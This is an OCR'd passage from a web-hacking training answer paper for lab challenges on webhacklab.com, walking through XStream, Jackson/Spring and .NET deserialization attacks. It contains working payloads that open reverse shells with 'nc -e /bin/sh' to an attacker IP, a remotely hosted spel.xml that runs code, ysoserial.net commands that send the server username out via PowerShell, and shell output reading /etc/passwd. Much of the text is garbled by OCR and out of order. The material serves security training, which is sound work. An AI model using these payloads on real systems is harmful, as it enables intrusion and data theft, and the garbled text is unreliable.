tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
LL (Linux cooked), capture size 262144 bytes

53: 40159+ A? spaml234.user6.webhacklab.com.

987+ A? spaml234.user6.webhacklab.com. (47)
87+ A? spaml234.user6.webhacklab.com. (47)

87+ A? spaml234 . user6.webhacklab.com. (47)
87 NXDomain 0/1/0 (117)
.11167: 40159 NXDomain 0/1/0 (117)
: 987 NXDomain ©/1/0 (117)
1: 987 NXDomain 0/1/0 (117)

Step 8: Start to listen on any port, let's say 9999.

(47)

root@Kali:~# nc -nvlp 9999

root@kali:~# nc -nvlp 9999
listening on [any] 9999 ...
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Step 9: If we send the following XML file to the application, the XStream parser will try to deserialize
the object and execute our command “nc -e /bin/sh 192.168.4.X 9999”.

<?xml version="1.0" encoding="UTF-8"?>
<object class="java.lang.ProcessBuilder">

<void index="@">
<string>nc</string>

</void>

<void index="1">
<string>-e</string>

</void>

<void index="2">
<string>/bin/sh</string>

</void>

<void index="3">
<string>192.168.4.X</string>

</void>

<void index="4">
<string>9999</string>

</void>

</array>
<void method="start" />
</object>

<array class="java.lang.String" length="5">

Cancel

Request

j Raw T Params T Headers T Hex TXML ]

(2] >

I Target: http://mblog.webhacklab.com I

Response

J RawT Headers T Hex ]

POST /api/add/microblog HTTP/1.1

Host: mblog.webhacklab.com

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S5 X 10.13;
rv:52.0) Gecko/20100101 Firefox/52.0

Bccept: */*

Accept-Language: en-U0S,en;g=0.5

Locept_Encodinag: azip, deflate

ontent-Type: application/xzml; charset=utf—8|

Z-Requested-wWith: XZMLHTTpRequest

Referer: http://mblog.webhacklab.com/index

Content-Length: 618

Cookie: JSESSIONID=1BC9C9433D105ABCF8E43C91CFE2168E;
rememberMe=r00ABXNyACZhd2gubm90c29zZWNlcmUubWIsb2cuZGIubWokZWwuVv
XN1clNlcnUQ30eW9f1lvAgABTAATAXN1cmbhbWVOABIMamF2YS9sYWEnLINOcmlu
Zzt4dcHQABWRocnV?2

Connection: c¢lose

T

?xml version="1.0" encoding="UTF-8"?>
<object class="java.lang.ProcessBuilder">
<array class="java.lang.sString" length="5">
<void index="0">
<string>nc</string>
</void=>
<void index="1">
<string>-e</string>
</void>
<void index="2">
<string>/bin/sh</string>
</vaid>
<void index="3">
<string=>192.168.4.6</string>
</void=>
<void index="4">
<string>9999</string>
</void=>
</array>
<void method="start" />
</object>

HTTP/1.1 405 Method Not Allowed
Server: nginx/1.10.3 (Ubuntu)
Date: Tue, 10 Jul 2018 16:41:38
GMT

Content-Length: 0

Connection: close

Allow: GET

T

NotSoSecure part of

claranet cyber security

Page: | 74

© Claranet Cyber Security 2021. All rights reserved



NSS Training — AWH 5D Answer Paper

Step 10: As can be seen from the screenshot below we can access the system using reverse shell

and execute commands.

root@kali:~# nc -nlvp 9999
listening on [any] 9999 ...
connect to [192.168.4.6] from CUNKNOWN) [192.168.200.14] 55638
id

uid=112(tomcat8) gid=118(tomcat8) groups=118(tomcat8)

name -a
tinux ubuntu20@13 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:33:37 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux

hoami

omcat8
cat /etc/passwd
root:x:0:@:root:/root:/bin/bash
daemon:x:1:1:daemon: /usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games: /usr/games: /usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:1p:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
nroxyvex:13:-13-nroxv:/hin: /usr/shin/noloagin

www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
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Jackson JSON Deserialization Attack

Challenge URL: http://mblog.webhacklab.com/mblog/api/add/microblog

o Get areverse shell and extract the system information such as username, OS type

from the server and also read “/etc/passwd” file.
Solution:

Step 1: Login into the Microblog and post a blog and intercept the request in Burp.

| mblog.webhacklab.com

Microblog

=50
POST

Recent updates

ﬂ dhruv - 9 minutes ago
test

o B 0O 0O

Step 2: Observe the request. It is a simple REST API request which adds the content.

POST fapi/add/microblog HTTP/1.1

Host: mblog.webhacklab.com

Content-Length: 68

Accept: =™

Origin: http://mblog webhacklab.com

X-Requested-With: XMLHttpRequest

User-Agent Mozilla/s.0 (Windows MT 10.0; Win&4, x54) AppleWebKit/'a37 36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/o37.36
DNT: A1

Content-Type: applicationdjsan; charset=UTF-8

Referer: http://mblog webhacklab.com/index

Accept-Encoding: gzip, deflate

Accept-Language: en-US en;q=0.9

Cookie: JSESSIONID=582056FDBTD48BE243A4BB33C8A2ABA3
Caonnection: close

["awh.notsosecure.mblog.web farms MicroblogFarm” {"content":" Test"}]
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Step 3: Break the JSON format by simply removing the last “” ” (Double Quote) near Test as shown

below and observe the error. This looks like a JSON serialized string.

Request

Raw | Params | Headers | Hex

Response

Raw | Headers | Hex | HTML | Render

POST fapifadd/microblog HTTR/1 .1

Host: mblog webhacklab.com

Content-Length: 67

Accept

Origin: http://mblog webhacklab.com

%-Requested-With: XMLHtpRequest

User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4, x54) AppleWebKity537 36 (KHTML, like
Gecka) Chrame/71.0.3578.98 Safari/537.36

DNT: 1

Content-Type: application/json; charset=UTF-8

Referer: hitp://mblog.webhacklab.com/index

Accept-Encoding: gzip, deflate

Accept-Language: en-US en;q=0.9

Cookie: JSESSIONID=582056FDB7D48BB243A4BB33CBA2ZABA3
Connection: close

["awh notsosecure.mblog.web forms MicroblogForm' {"content":"Test}]

T

Content-Length: 8677

<ldoctype himl><html lang="en"><head><title>HTTP Status 500 - Internal Server Error</title><styl
{font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:22px;} H
{font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:16px;} H
{font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:14px;} H
{font-family:Tahoma,Arial,sans-serif;color:black;background-color:white;} B
{font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;} P
{font-family:Tahoma,Arial,sans-serif;background:white;color:black;font-size:12px;}A {color : Y
: #525D76;)</style></Mead><body><h1>HTTP Status 500 - Internal Server Error</ni><hr class="|
Report</p><p><b>Message</b> Unexpected end-of-input: was expecting closing quote for 3
value</p><p><b>Description</b> The server encountered an unexpected condition that pre,
request.</p><p><b>Exception</b> <pre>com.fasterxmljackson.databind.JsonMappingExcep
expecting closing quote for a string value
at [Source: [&quot;awh.notsosecure.mblog.web.forms.MicroblogForm&quot;,{&quot;conten
135]
at [Source: [&quot;awh.notsosecure.mblog.web.forms.MicroblogForm&quot;,{&quot;conten
61] (through reference chain: awh.notsosecure.mblog.web.forms.MicroblogForm[&quot;cor]
com.fasterxml.jackson.databind.JsonMappingException.wrapWithPath(JsenMappingEX

Note: From the error we can observe that the Jackson databind library is being used. This library is

vulnerable to JSON deserialization attacks.

Step 4: The most common framework in java applications is Spring and if we feed the below JSON

data to a Jackson parser parsing it, it'll try to load a Spring Configuration(ApplicationContext) file

from over the network.

"http://192.168.4.X:80/spel.xml"]

["org.springframework.context.support.FileSystemXmlApplicationContext",

Request

Raw | Params | Headers | Hex

Response

Raw | Headers | Hex HTMLTRender]

POST /api/add/microblog HTTP/1.1

Host: mblog.webhacklab.com

User-Agent: Mozilla/5.0 (X11: Linux i686: rv:52.0) Gecko/20100101
Firefox/52.0

Accept: *#/*

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://mblog.webhacklab.com/loginss|

Content-Type: application/json; charset=utf-8
X-Requested-With: XMLHttpRequest

Content-Length: 105

Cookie: JSESSIONID=2E0498FDD616C759FFDOASCFCEBECOF4
Connection: close

["org.springframework.context.support.FileSystemXmlApplicationContext",
“http://192.168.4.3:80/spel.xml"]

T

HTTP/1.1 500 Internal Server Error
server: nginx/1.10.3 (Ubuntu)

Date: Mon, 28 Jan 2019 11:24:01 GMT
Content-Type: text/html;charset=utf-8
Connection: close

Content-Language: en
Content-Length: 17587

<!DOCTYPE html><html><head> <title>Apache Tomcat/8.0.32 (Ubuntu) - Error
report</title> <style type="text/css">H1
{font-family:Tahoma,Arlal,sans-serif;color:white;background-color: #525D76:f
ont-size:22px:} H2
{font-family:Tahoma,Arlal,sans-serif;color:white;background-color: #525D76:f
ont-size:16px:} H3
{font-family:Tahoma,Arlal,sans-serif;color:white;background-color: #525D76:;f
ont-size:14px:} BODY
{font-family:Tahoma.,Arial.sans-serif;color:black:background-color:white;} B
{font-family:Tahoma,Arial.sans-serif;color:white;background-color: #525D76;

Ip
{font-family:Tahoma,Arial,sans-serif;background:white;color:black;font-size:1
2px:}A {color : black:}A.name {color : black:}.line {height: 1px:
background-color: #525D76; border: none;} </style>
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Step 5: Now within this configuration file we can embed “SpEL i.e. Spring Expression Language”

which can execute code. So let’s host the below spel.xml file on our kali machine and send the

JSON request of Step 4 to our application

<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.0rg/2001/XMLSchema-instance"
xsi:schemaLocation="
http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder">
<constructor-arg>
<array>
<value>nc</value>
<value>192.168.4.X</value>
<value>4444</value>
<value>-e</value>
<value>/bin/bash</value>
</array>
</constructor-arg>
<property name="whatever" value="#{ pb.start() }"/>
</bean>

</beans>

root@Kali:~/tools# python3 -m http.server 80

root@ kali)-| ~/tools
# s
SampleData.xls
aws_enum. py jython-standalone-2.7.0.jar sd.php
commands_list.txt
spel.xml
package.json test.txt
package-lock. json vbox2vm. sh

ysoserial-master. jar

jruby-complete-9.1.17.0.jar pythonserv.py

root@® kali)-[~/tools
#) python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/)
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Step 6: Start a netcat listener

root@Kali:~# nc -nvlp 4444

:~# nc -nlvp 4444
Llistening on [any] 4444

Step 7. Observe the request on the python web server

@ ~
python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/)
192.168.200.11 - - [11/Jul/2021 02:20:45] code 404, message File not found
192.168.200.11 - - [11/Jul/2021 02:20:45] "GET /spel.xml HTTP/1.1" 404 -

]

Step 8: On successful execution we get the reverse shell as shown below

:~# nc -nvlp 4444
listening on [any] 4444
connect to [192.168.4.3] from (UNKNOWN) [192.168.200.11] 33718
id
uid=111(tomcat8) gid=117(tomcat8) groups=117(tomcat8)
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:X:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man: /usr/sbin/nologin
lp:x:7:7:1p:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news: /usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
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NET Serialization Attack

Challenge URL: http://admin.webhacklab.com

o Identify and exploit the .Net Deserialization vulnerability to make the host send DNS

requests to an external host.

o Get areverse shell and extract the system information such as username, OS type

from the server and read “win.ini” file.

Solution:

Step 1: Navigate to the http://admin.webhacklab.com URL and intercept the response in Burp.

) @ # admin.webhacklab.com -« @O B W ¥

Login
User Name

Password

| Remember me
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Step 2: There is a cookie named “_ NSSTemp” which is Base64 Encoded that reads
“AAEAAAD//IIIAQAAA” which assures us that there is some serialized data being communicated.

| co Target: http:/ fadmin.webhacklab.com |#| 7|

Raw | Headers | Hex

GET / HTTP/1.1 .
Host: admin.webhacklab.com i
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS5 X 10.14; rv:64.0) Gecko/20100101 Firefox/64.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,%*/*;9=0.8

Accept-Language: en-US,en;g=0.5

Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

2 L= L = ||l 0 matches.

Response

[Raw [ Headers [ Hex |
HTTP/1.1 200 OK 2
Cache-Control: private ™
Content-Type: text/html; charset=utf-8

Server: Microsoft-TIIS/10.0

X-AspNetMvc-Version: 5.2

X-Frame-Options: SAMEORIGIN

X-AspNet-Version: 4.0.30319

Estf(:oukx : _ ReguegtVerificationToken=ApibAwh92zeVJOiglEL 2CIN-NGZCHLFhOMA6XRBUtoTubXtfiAanTepO AESrUVAMUNOhNUlxVo2 iSawfakLFZOutEsl: path=/: Httponl
et-Cookie:

WyaWMURG1 dGlvbmFyeWAyW1 t TeXNOZWOUU 3Ry aWSnL
NOLCBtc2NvemxpYi .mlmvycm\hwm JAUMC

iwgumvyc2lvb
0dXJ1PWS LdXRyY'

ARAD/////AQAAAARAAAAEAQARROIBU312dGVELKNVDGK1Y3Rpb252
FBLlYmxpYOtleVRva T"

Tk zHGUWOD LdXQQARAF

HV1UGF pomAyW1 tTeXH0

CBteZNvemxpYiw

| D 51dXRyYWws IFE ‘HVprﬁﬂ 1 a NZELlYz ?MT\?‘\I( UwOD1dXVt (]»«QAARA!{( nl\AAA AA»«A(I)?\MAAH
IGVELk9YZGLuYWxDb2 1wYXTLcgEARRALK2 L 9y T 2UAROE HAWAARAAB ARAABOAAAAD KAVIS ¢ 3R 1 bS5 D02 5a ZIN0 WuCySHZNS leml jLkt1eVEZhbHVIUGE pemAyW1tTeXNOZ
mvyc21vb300LIAUMC AW 0dXJ1PWS LAXRY B1YmxpY0t1eVRva2VuPWI3N2 5 XNDZWOUT2Jc . 2ZNvemxpY iw 2
1dXRyYWws IFB1YmxpY PWI3NZE ) 1dXQT8/ / / /SAFTeXNO 1ZVBhaXJgM
1 NLZX1Ub2t1bj1iNzdhl gbXNjb3Jsaw
XVOCAAAAAZL 1eQV2 9lcws=; path=/;

lMZMJ:KthUJI::dGV(Lk iamv
“BgUAAAREVXNLCQYGARAACUFub255

g yZT1uZXV0CmEFSLCBOAWT
=By T ASPTRET

Date: Tue, 08 Jan 2019 10:01:34 GMT

Connection: clese

Content-Length: 1327

mLponly

Step 3: Now on a windows system we can generate the serialized payload using the ysoserial.net
tool to send an out of band request containing the web server username to an attacker-controlled

domain.

ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -0 base64 -c
"powershell.exe Invoke-WebRequest -Uri http://192.168.4.X:8888/%$env:UserName"

pysoserial.exe -f BinaryFormatter

-g TypeConfuseDelegate -o base64 -c "powershell.exe Invoke-WebRequest -Uri http://192.168.4.10:8888/
$env:UserName"

AAEAAAD/////AQAAAAAAAAAMAEAAAE1TeXNOZWOSIFZ1cnNpb249NCAWL JAUMCWEQ3VsdHVYZT1uZXVOcmFsLCBQdWIsaWNLZX1U
b2t1bj1iNzdhNWM1NjE5MzR1IMDg5BQEAAACEAVNSCc3R1bS5Db2xsZWN@aWOucySHZWS1emljLINVenR1ZFN1dGAXW1t TeXNOZWou
U3RyaW5nLCBtc2NvemxpYiwgVmVyc21lvbjooL jAuMCAwLCBDdWx@dXI1PWS1dXRyYWws IFB1YmxpY@tleVRva2VuPWI3N2E1YzU2
MTkzNGUwWOD1dXQQAAAAFQ291bnQIQ29tcGFyZXIHVMVyc21lvbgVIdGVtcwADAAYIjQF TeXNOZWeuQ29sbGVjdGlvbnMuR2VuzZXp
Yy5Db21wYXJpc29uQ29tcGFyZXIgMVtbU31zdGVtLINOcmluZywgbXNjb3JIsaWIsIFZ1lcnNpb249NC4wL jAUMCwgQ3VsdHVYZT1u
ZXVOcmFsLCBQdWIsaWNLZX1Ub2t1bj1iNzdhNWM1INESMzRIMDg5XVOIAgAAAATAAAATAWAAAATAAAAIBAAAAAQDAAAA QF TeXNO
ZWeuQ29sbGVjdGlvbnMuR2VuzZXJpYy5Db21wYXIpc29uQ29tcGFyZXIgMVtbU31zdGVtLINOcmluZywgbXNjb3JsaWIsIFZ1lcnNp
b249NC4wL jAUMCwWgQ3VsdHVYZT1uZXVecmFsLCBQdWIsaWNLZX1Ub2t1bj1iNzdhNWM1NjE5MzR1IMDEg5XVOBAAAAC19jb21wYXIp
C29uAyJITeXNOZWOURGVsZWdhdGVTZXIpYWxpemFRaWouSG9sZGVyCQUAAAARBAAAAATAAAAGBEAAAE8VYyYBwb3d1lcnNoZWxsLmv4
ZSBJIbnZva2utVv2viumvxdwVzdCAtVXIpIGh@dHA6LY8XOTIuMTY4LjQUMTA60DE40C8kZIW5201VZZXI0YW11BgcAAAADY21kBAUA
AAAiU31zdGVELKR1bGVNYXR1U2VyaWFsaXphdGlvbkhvbGR1cgMAAAATRGVsZWdhdGUHbWV@aGOkMAdtZXRob2QxXAWMDMFNSc3R1
bSS5EZWx1Z2F@ZVN1cmlhbG1l6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeS9TeXNOZWOuUmVmbGVjdGlvbiSNZW1iZXIIbmZvU2Vy
aWFsaXphdGlvbkhvbGR1ci9TeXNOZWOuUMVmbGVjdGlvbi5SNZW1iZXJIbmZvU2VyaWFsaXphdGlvbkhvbGR1cgk IAAAACQKAAAAT]
CgAAAAQIAAAAMFNSCc3R1bSS5EZWx1Z2F@ZVN1cmlhbG1l6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQcAAAAEdH1wZQhhc3N1bWls
2QZOYXINZXQSAGFyZ2VOVH1WZUFzc2VtYmx5DnRhcmd1dFR5cGVOYW11Cm11dGhvZEShbWUNZGVsZWdhdGVFbnRyeQEBAgEBAQMW
U31zdGVtLkR1bGVnYXR1U2VyaWFsaXphdGlvbkhvbGR1citEZWx1Z2F@ZUVudHI5BgSAAACWAINSc3R1bS5GAWS jYDNbWINSc3R1
bS5TdHIpbmcsIG1zY29ybGliLCBWZXJZzaWOuPTQUMC4WLjASIEN1IbHR1cmU9bmV1dHIhbCwgUHVibGljS2V5VGOrZWA9Yjc3YTV]
NTYXOTMOZTA40VOSWIN5c3R1bS5TdHIpbmcsIG1zY29ybGliLCBWZXIzaWOuPTQUMC4AWL jASIENIbHR1cmUSbmV1dHIhbCwgUHVi
bG1jS2V5VGOrZW49Yjc3YTVINTYXOTMOZTA40VOSWINSc3R1bS5EaWFnbm9zdGljcy5Qcm9jZXNZLCBTeXNOZWOsSIFZ1cnNpb249
NC4wL jAUMCwgQ3VsdHVYZT1uZXVecmFsLCBQdWIsaWNLZX1Ub2t1bj1iNzdhNWM1NjESMZR1IMDgSXVOGDAAAAEttc2NvemxpYiwg
VmVyc21vbjeeLjAuMC4AwLCBDAWx@dXI1PWS1dXRyYWwsIFB1YmxpY@tleVRva2VuPWI3N2E1YzU2MTkzNGUWODkKBEOAAABIU31z
dGVtLCBWZXJzaWSuPTQUMC4wWL jASIENIbHR1cmUSbmV1dHIhbCwgUHVibG1ljS2V5VGOrZW49Yjc3YTVJNTYXOTMOZTA40QYOAAAA
GIN5c3R1bS5EaWFnbm9zdGljcy5Qcm9jZXNzBg8AAAAFU3RhcnQIEAAAAAQIAAAALINSc3R1bS5SZWZsZWNOaWOuLk11bWIlcklu
Zm9TZXIpYWxpemFOaWouSG9sZGVyBWAAAAROYW11DEFzc2VtYmx5TmFtZQ1DbGFzc@5hbWUIU21nbmF@dXI1C1NpZ25hdHVYZTIK
TWVtYmVyVHIWZRBHZW51cmljQXIndW11lbnRzAQEBAQEAAWENU31zdGVEL1R5cGVbXQkPAAAACQOAAAAIDEAAAAYUAAAAPINSC3R1
bS5EaWFnbm9zdG1ljcy5Qcm9jZXNzIFNOYXIOKFNSc3R1bS5TdHIpbmcsIFNSc3R1bS5TdHIpbmcpBhUAAAA+U31zdGVELKRpYWdu
b3N@aWNzL1Byb2N1c3MgU3RhcnQoU31zdGVtLINecmluZywgU31zdGVELINOcmluZyk IAAAACEEKAAAACQAAAAYWAAAABONVDXBh
cmUJIDAAAAAYYAAAADVNS5c3R1bS5TdHIpbmcGGQAAACtIbnQzMiBDb21wYXJI1KFN5c3R1bS5TdHIpbmcsIFNSc3R1bS5TdHIpbmep
BhoAAAAYyU31zdGVtLkludDMyIENvbXBhcmUoU31zdGVELINOcmluZywgU31zdGVELINOcmluZykIAAAACEEQAAAACAAAAAYDAAAA
CcVN5c3R1bS5Db21wYXIpc29uYDFbWINSc3R1bS5TdHIpbmcsIG1zY29ybGliLCBWZXIzaWSuPTQUMC4AwWLjASIEN1IbHR1cmUSbmV1
dHIhbCwgUHVibG1ljS2V5VGOrZW49Yjc3YTVjNTYXOTMOZTA40V1dCQWAAAAKCQWAAAAIGAAAAAKWAAAACES =
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Alternative: you can use the web utility located at http://utility.webhacklab.com/YSoSerial.aspx to

generate the payloads

powershell.exe Invoke-WebRequest -Uri http://192.168.4.X:8888/%env:UserName

Helper Utility ~ Blackiist3r | YSoSerial

ysoserial.net

Deserialization payload generator for agariety of NET formatters

Plugins Output Data:

M1NJESMzZRI

Gadget veNRIZFNIAG

TypeConfuseDelegate v

iVmVyc2ivbgVJc

Formatter

BinaryFormatter v

v ,mmw aw ;
/ .,bAAAAA:][AAAAJ ]F’e)N 7.

Command:

gAAAFYVYYB5c29zZXJpY!
powershell.exe Invoke-WebRequest -Uri http://192.168.4.10:8888 29uZnVzZURIbGVNYXR

/$env:UserName AAZNIZAQFAAAAIINS IZ2F Nicmih [ XKZXIDAAAA

{ ERIbGVNYX 2 G GVsZWdhdG
VTZXJpYWxpem
Generate 4.4 e

nkvU3IzdGVILWIZmxIY 7
Y vl 1274\ 1 IZmylY 3R

nh1Alicmihh(RIBY XRnh251h

f BinaryFormatter -0 Base64 -c "ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -0 base64 -c "powershell. exe Invoke-WebRequest

ame"

© 2019 - Notsosecure - Helper Utility

Step 4: Start the python server to get an Out Of Band Call.

root@Kali:~/tools# python3 -m http.server 8888

@ ~
python3 -m http.server 8888

Serving HTTP on 0.0.0.0 port 8888 (http://0.0.0.0:8888/)
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Step 5: Replace the serialized string in “__ NSSTemp” cookie with the value generated in Step 3

and send a request.

Go I <|® Target: http://admin.webhacklab.com | # || 7
Request
Raw | Params | Headers | Hex |
GET / HTTP/1.1 A
Host: admin.webhacklab.com N
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie:
ASPXAUTH=A463F4DFCOAA7C7AGEE76592ABF294B0OBAFCFF978386F8ACD94E907EB39EF31C453208D6ES6EF2027732569A7C81721F29815E1B141FBA5202BFF42879AF4F9D9B63C661F2DCF
E2B46F445D4D6A3385179740FCDEBC24F44CF8DS9BBEDDFF731F55B1286;
RequestVerificationToken=xg7vQMAby7dcx5k8svRWSNTf SrLRvY3B1X3AnVEwFeMDkZH HyP2ak0YA2MeBw7Y8dyTG-wgzNBF8pMa7V|-AEiyY1;
| NSSTemp=AAEAAAD/////AQAAAAAAAAAMAGAAAEITeXNOZWOsIFZicnNpb249NC4wLjAuMCwg sdHVyZT1uZXVOcmFsLCBQdW)JsaWNLZXIUb2tIbj1iNzdhNWMI1NjE5SMzRIMDg5BQEAAACEAVNSc3RIbS
5Db2xsZWN0aW9ucy5HZWSIcmijLINvenRIZFNIdGAXW1tTeXNOZWO0uU3RyaW5nLCBtc2NvemxpYiwgVmVyc2IvbjOOLjAuMC4wLCBDdWx0d XJIPWSIdXRyYWwsIFB1YmxpYOtieVRva2 VuPWI3N2E1YzU2MT
kzZNGUwODIdXQQAAAAFQ291bnQIQ29tcGFyZXIHVMVyc2IlvbgV]dGVtcwADAAYIJQF TeXNOZWO0uQ29sbGVjdGlvbnMuR2VuZX)pYy5Db2 1wYX|pc29uQ29tcGFyZX|gMVtbU31zdGVELINOcmIuZywgbXNjb3)s
aWIsIFZIcnNpb249NC4wLjAUMCwgQ3VsdHVYZT1uZXV0cmFsLCBQdW)saWNLZXIUb2tibj1iNzdhNWM1NESMzRIMDg 5 XVOIAgAAAAIAAAAJAWAAAAIAAAAIBAAAAAQDAAAAJQF TeXNOZWO0uQ29sbGVjdGlivb
NMuR2VuZX|pYy5Db21wYX)pc29uQ29tcGFyZX)jgMVtbU3IzdGVELINOcmIuZywgbXNjb3)saWlsIF ZicnNpb249NCAwWLAUMCwgQ3VsdHVyZT1uZXVOcmFsLCBQdW)saWNLZXIUb2tlbj1iNzdhNWM1NjESMzRI
MDg5XVOBAAAAC1 9jb21wYX|pc29uAyJTeXNOZWOuRGVsZWdhdGVTZX)pYWxpemF0aW9uSG9sZGVyCQUAAAARBAAAAAIAAAAGBGAAAEBVYyBwb 3dicnNoZWxsLmV4ZSBJbnZva2 UtV2ViUmVxdWVzdC
AtVXJpIGhOdHA6LY8xOTIuMTY4LjQuMTA60Dg40C8kZW520IVzZXJOYW1I1BgcAAAADY2 1kBAUAAAAIU3IzdGVELKRIbGVnYXRIU2VyaWFsaXphdGlvbkhvbGRIcgMAAAAIRGVSsZWdhdGUHbWV0aG9IkMAdLZ
Rob2QxAWMDMFN5c3RIbSSEZWxIZ2FO0ZVNIcmIhbGI6YXRpb251b2xkZXIrRGVsZWdhdGVFbnRyeS9TeXNOZWO0uUmVmbGVjdGIvbiSNZW1iZX]|bmZvU2VyaWFsaXphdGlvbkhvbGRIci9 TeXNOZWOuUm
VmbGVjdGlvbiSNZW1iZX]|bmZvU2VyaWFsaXphdGlvbkhvbGRIcgkIAAAACQKAAAAJCgAAAAQIAAAAMENS c3RIDSS5EZWxIZ2FOZVNIcmIhbGI6YXRpb251b2xkZXIrRGVsZWdhdGVFbnRyeQcAAAAEdHIWZQh
1¢3NIbWJseQZ0YXInZXQSAGFyZ2VOVHIWZUFzc2VtYmx5DnRhemdIdFR5cGVOYW1ICm 11dGhvZEShbWUNZGVsZWdhdGVFbnRyeQEBAgEBAQMwU31zdGVELKRIbGVnYXRIU2VyaWFsaXphdGlvbkhvbGRI
itEZWxIZ2F0ZUVudH]5BgsAAACWAINS c3RIbS5GdW5]YDNbW1INSc3RIbSS5 TdHjpbmesiG12Y29ybGliLCBWZXjzaW9uPTQuMC4wLiASIEN1bHR1cmU9bmV1dHJhbCwgUHVibGIiS2V5VGIrZW49Yjc3YTVINT
xOTMOZTA40VOsWINSc3RIbS5TdH|pbmcsiG12Y29ybGlLCBWZX)zaW9uPTQuMCAwWLJASIEN1DHR1ecmU9bmV1dH/hbCwgUHVIbGIjS2V5VGIrZWA49Yjc3YTVINTYXOTMOZTA40VOsW1INSc3RIDSS5EaWFn
pm9zdGlicy5Qcm9jZXNzLCBTeXNOZWOsIFZIcnNpb249NC4wWLJAUMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdW)saWNLZXIUb2tIbj1iNzdhNWM1NJE5MzRIMDg5 XVOGDAAAAEttc2NvemxpYiwgVmVyc2Ivbjoo
JAUMC4wWLCBDdWx0dX]IPWSIdXRyYWwsIFB1YmxpYOtileVRva2VuPWI3N2E1YzU2MTkzNGUwODkKBg0OAAAB|U3Izd GVELCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVIbGIjS2V5VG
BrZW49Yjc3YTVNTYXOTMOZTA40QYOAAAAGIN5c3RIbS5 EaWFnbm9zdGljcy5Qecm9jZXNzBg 8 AAAAFU3Rhen QJEAAAAAQJAAAALINS c3RIDS5SZWZsZWN0aW9uLk11bW)IckluZm9TZX|pYWxpemF0aW9u
5G9sZGVyBWAAAAROYW1IDEFzc2VtYmx5TmFtZQIDbGFzc05hbWUJU2InbmFOdXJICINpZ25hdHVy ZTIKTWVtYmVyVHIWZRBHZWS IcmjQX)nd W 11bnRzAQEBAQEAAW U31zdGVELIR5cGVbXQkPAAAACQO
IMAAAIDgAAAAYUAAAAPINS c3RIDS5EaWFnbm9zdGlicy5Qem9jZXNzIFNOYXJOKFNSc3RIbS5 TdHJpbmesIFNSc3RIbSS5 TdHJpbmcpBhUAAAA+U31zd GVtLKkRpYWdub3N0aWNzLIByb2NIc3MgU3RhcnQoU3Izd
GVELINOcmIuZywgU3Izd GVELINOcmiuZykIAAAACg EKAAAACQAAAAYWAAAABONVD XBhcmUJDAAAAAYYAAAADVNS c3RIDS5 TdHJpbmcGGQAAACtIbnQzMiBDb2 1 wYXJIKFNSc3RIbS5 TdHJpbmesIFN5c3RIbS
5TdHJpbmcpBhoAAAAYU3Izd GVtLkludDMyIENvbXBhecmUoU31zdGVELINOcmiuZywgU31zd GVELINOcmIuZy kIAAAACg EQAAAACAAAAAYDAAAACVNS c3RIDS5Db2 1wYX)pc29uYDFbWI1INSc3RIbS5TdH)pbmces
G12Y29ybGIliILCBWZXJzaW9uPTQuMC4wLjASIEN1bHR1cmU9bmV1dHJhbCwgUHVibGIjS2V5VG9rZW49Yjc3YTVINTYxOTMOZTA40V1 d CQWAAAAKCQWAAAA|GAAAAAKWAAAACGSs =
Connection: close
Upgrade-insecure-Requests: 1 v
4 < ||+ || = | |Type a search tern 0 matches
Response
[Raw | Headers | Hex |
liT'TP/l 1200 OK A
Cache-Control: private '\‘
Content-Type: text/html; charset=utf-8 1
Server: Microsoft-115/8.5 [
X-AspNetMvc-Version: 5.2
